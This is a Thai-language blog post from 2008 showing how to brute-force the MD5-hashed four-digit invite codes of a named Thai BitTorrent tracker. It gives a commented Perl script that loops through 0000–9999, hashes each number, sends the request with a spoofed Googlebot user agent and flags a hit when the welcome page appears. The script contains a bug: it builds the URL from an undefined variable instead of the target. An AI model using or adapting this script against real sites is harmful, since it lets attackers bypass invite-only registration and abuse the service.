Thursday, April 3, 2008

วิธี ปล้น invite เวปบิทแบบง่ายๆ (พอดีมีคนเค้าใช้ให้สอนเขียน perl)

จะว่ามันเป็น bug หรือปล่าว ผมว่ามันก็ไม่ใช่ bug หรอก
มันแค่ช่องโหว่ เล็กๆน้อยๆ ของ เลขที่ใช้ invite

หลักก็คือ invite มันดันเป็น hash ที่ ใช้ md5 เข้ารหัสของตัวเลข แค่ 4 หลัก
(md5 คือการเข้ารหัสอย่างหนึ่ง ที่มักใช้กัน[ยิ่งแกะยากถ้า ใช้หลายๆหลัก])

ยกตัวอย่าง link invite ของ sb คือ
http://sb.in.th/register.php?invitenumber=[hash]

เช่น link นี้
http://sb.in.th/register.php?invitenumber=ce5140df15d046a66883807d18d0264b
(ce5140df15d046a66883807d18d0264b hash นี้ เข้ารหัสมาจากเลข 1023)

ดังนั้น ขอเดาเลยว่า เลขมันต้องเป็น 0000 ถึง 9999 (1 หมื่น ตัว)
ถ้า นั่งมั่วมือ มันก็จะถึกไปหน่อย ดังนั้นเขียนเป็น perl ยิงไล่ เลยดีกว่า ง่ายดี

คำถาม คือ
Q: ทำให้ ให้เปิดเวป ได้ เพราะเราต้องเปิดหน้าเวป
http://sb.in.th/register.php?invitenumber=
A: ใช้ LWP::UserAgent หรือเขียนโดยใช้ IO::Socket (หากลง Activeperl มันจะมีอยู่แล้ว แต่ LWP สะดวกกว่าเยอะ)

Q: ทำไงจะเข้ารหัสเลข 0000 - 9999 เป็น MD5 ได้
A: มัน จะมี Packet สำเร็จรูป ชื่อ Digest::MD5 อยู่ (ต้องลงเพิ่ม หาเอาได้จาก Perl package manager)

เอาล่ะ เริ่มกันดีกว่า


use LWP::UserAgent; #เรียกใช้ LWP::UserAgent;
use Digest::MD5("md5_hex");# เรียกใช้ Digest::MD5 เฉพาะ sub md5_hex จะประกาศห้วนๆ use Digest::MD5; ก็ ได้เหมือนกัน

# เรียกใช้ packet สำเร็จรูปเสร็จทีนี้มาเริ่ม จาก ประกาศ browser ที่ใช้ ว่าใช้อะไรเปิดเวปกันก่อนแล้วกัน

my $browser = LWP::UserAgent->new(agent => 'Googlebot (Googlebot/2.1 +<a href="http://www.googlebot.com/bot.html">http://www.googlebot.com/bot.html</a>)');
# หลอกว่า ตูคือ google บอท (แต่จริงๆหลอกไม่ได้หรอก มันเป็นแค่เอาไว้บอกว่า ใช้ agent อะไรเข้าเวป )
# จะไม่ใส่ หรือ จะใส่ เหมือนคนจริงๆ เช่น Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) ไปก็ได้ )
# กรณีไม่ประกาศใช้ จะใส่แค่นี้ก็ได้ (ถ้าไม่ใส่ ใน log จะขึ้น ว่า ใช้ libwww-perl เข้าไป)
# my $browser = LWP::UserAgent->new();
# นอกจาก agent แล้ว ยังมีให้ใช้อีกเยอะ (google ใส่ไปว่า perl lwp::agent แล้วอ่านเอา)
# ปล. ใช้อะไรก็ได้ ไม่ จำเป็นต้อง $browser นะ ( src ฝรั่งมักใช้ $ua )

my $target = 'http://sb.in.th/register.php?invitenumber='; # $target = ส่วน link ของเวปเป้าหมายที่เราจะ ถึก

foreach $i ( "0000" .. "9999" ){ # เขียน loop เพิ่มเริ่่มความถึก (ไล่เลข ตั้งแต่ 0000 ไปเรื่อยๆ จน 9999)
  my $hash = md5_hex($i); # แปลง เลขที่ได้ ไปเป็น md5 (ตอนนี้ค่า $hash ของเรา จะเป็น md5 ล่ะ)
  my $url = $url.$hash; #รวมมันไว้ด้วยกัน จะได้ ง่าย ตอน สั่งแสดงผล (จะไม่รวมก็ได้)
  my $response = $browser->get($url); # เริ่มการ เรียกหน้าเวปขึ้นมา
  if($response->is_success){ #ถ้าเปิดได้ ให้ทำตามเงื่อนไข ใน if
    my $x = $response->content;
    if($x =~ m!ยินดีต้อนรับ!){ # ถ้า hash ตรง จะมี คำว่ายินดีต้อนรับ ในหน้าเวป (ตรงนี้อ่าน regex เพิ่มเอา ไม่งั้นสอนกันยาว - -)
      print "[+] Found hash !!\n";
      print "[+] URL = $url\n";
    }
  }else{
    print "Connection error.\n";
  }
}

สรุปว่า เขียนราวๆ เนี้ย อ่ะ (จบแบบขี้เกียจพิมพ์ 555+)
ใครอยากให้มันเขียน file เก็บไว้ เป็น txt ก็ใช้ funtion OPEN เอาแล้วกัน

No comments:

Why You Don't LIKE My FaceBook Fanpage ?
×
blogger